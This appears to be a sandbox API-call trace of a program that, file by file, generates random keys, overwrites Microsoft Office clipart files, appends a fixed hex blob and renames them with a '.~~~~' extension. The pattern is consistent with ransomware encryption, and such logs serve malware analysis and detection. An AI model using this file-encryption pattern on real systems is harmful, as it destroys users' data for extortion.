	[0114.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837720
	[0114.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.344] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.344] GetLastError () returned 0x0
	[0114.344] GetLastError () returned 0x0
	[0114.344] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.344] GetLastError () returned 0x0
	[0114.345] GetLastError () returned 0x0
	[0114.348] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffec74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.348] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x138c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x138c, lpOverlapped=0x0) returned 1
	[0114.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0114.350] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.350] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.350] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.350] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.351] CloseHandle (hObject=0x138) returned 1
	[0114.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.351] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01395_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01395_.wmf.~~~~")) returned 1
	[0114.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.353] GetLastError () returned 0x0
	[0114.353] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.354] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.354] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.355] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23434468775) returned 1
	[0114.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadc1f690, dwHighDateTime=0x1d60e1e)) 
	[0114.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839d10
	[0114.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839d10 | out: hHeap=0x300000) returned 1
	[0114.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837850
	[0114.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.355] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.356] GetLastError () returned 0x0
	[0114.356] GetLastError () returned 0x0
	[0114.356] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.356] GetLastError () returned 0x0
	[0114.356] GetLastError () returned 0x0
	[0114.407] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff933c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.407] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x6cc4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x6cc4, lpOverlapped=0x0) returned 1
	[0114.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0114.408] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.408] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.409] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.409] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.409] CloseHandle (hObject=0x138) returned 1
	[0114.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.409] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.~~~~")) returned 1
	[0114.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.426] GetLastError () returned 0x0
	[0114.427] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.428] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.428] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.428] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23441852723) returned 1
	[0114.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadcddd70, dwHighDateTime=0x1d60e1e)) 
	[0114.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839e60
	[0114.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839e60 | out: hHeap=0x300000) returned 1
	[0114.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28378e8
	[0114.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.429] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.430] GetLastError () returned 0x0
	[0114.430] GetLastError () returned 0x0
	[0114.430] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.430] GetLastError () returned 0x0
	[0114.430] GetLastError () returned 0x0
	[0114.435] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffca4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.435] WriteFile (in: hFile=0x138, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x35b2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x35b2, lpOverlapped=0x0) returned 1
	[0114.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.438] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.438] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.438] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.438] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.438] CloseHandle (hObject=0x138) returned 1
	[0114.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.439] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.~~~~")) returned 1
	[0114.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.440] GetLastError () returned 0x0
	[0114.443] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.444] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.444] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.445] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23443471478) returned 1
	[0114.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadd03ed0, dwHighDateTime=0x1d60e1e)) 
	[0114.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839e98
	[0114.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839e98 | out: hHeap=0x300000) returned 1
	[0114.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837c78
	[0114.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.445] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.446] GetLastError () returned 0x0
	[0114.446] GetLastError () returned 0x0
	[0114.446] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.446] GetLastError () returned 0x0
	[0114.446] GetLastError () returned 0x0
	[0114.448] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffc4d2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.448] WriteFile (in: hFile=0x138, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x3b2e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x3b2e, lpOverlapped=0x0) returned 1
	[0114.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.450] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.451] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.451] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.451] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.451] CloseHandle (hObject=0x138) returned 1
	[0114.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.451] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.~~~~")) returned 1
	[0114.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.453] GetLastError () returned 0x0
	[0114.454] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.455] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.455] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.455] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23444558443) returned 1
	[0114.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadd2a030, dwHighDateTime=0x1d60e1e)) 
	[0114.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839ed0
	[0114.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839ed0 | out: hHeap=0x300000) returned 1
	[0114.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837d10
	[0114.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.456] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.457] GetLastError () returned 0x0
	[0114.457] GetLastError () returned 0x0
	[0114.457] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.457] GetLastError () returned 0x0
	[0114.457] GetLastError () returned 0x0
	[0114.464] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffddbe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.464] WriteFile (in: hFile=0x138, lpBuffer=0x29fb0a0*, nNumberOfBytesToWrite=0x2242, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fb0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x2242, lpOverlapped=0x0) returned 1
	[0114.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fb0a0 | out: hHeap=0x300000) returned 1
	[0114.466] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.466] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.466] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.466] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.466] CloseHandle (hObject=0x138) returned 1
	[0114.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0114.482] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.~~~~")) returned 1
	[0114.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0114.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.498] GetLastError () returned 0x0
	[0114.498] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.499] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.500] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.500] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23448995628) returned 1
	[0114.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadd9c450, dwHighDateTime=0x1d60e1e)) 
	[0114.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839fb0
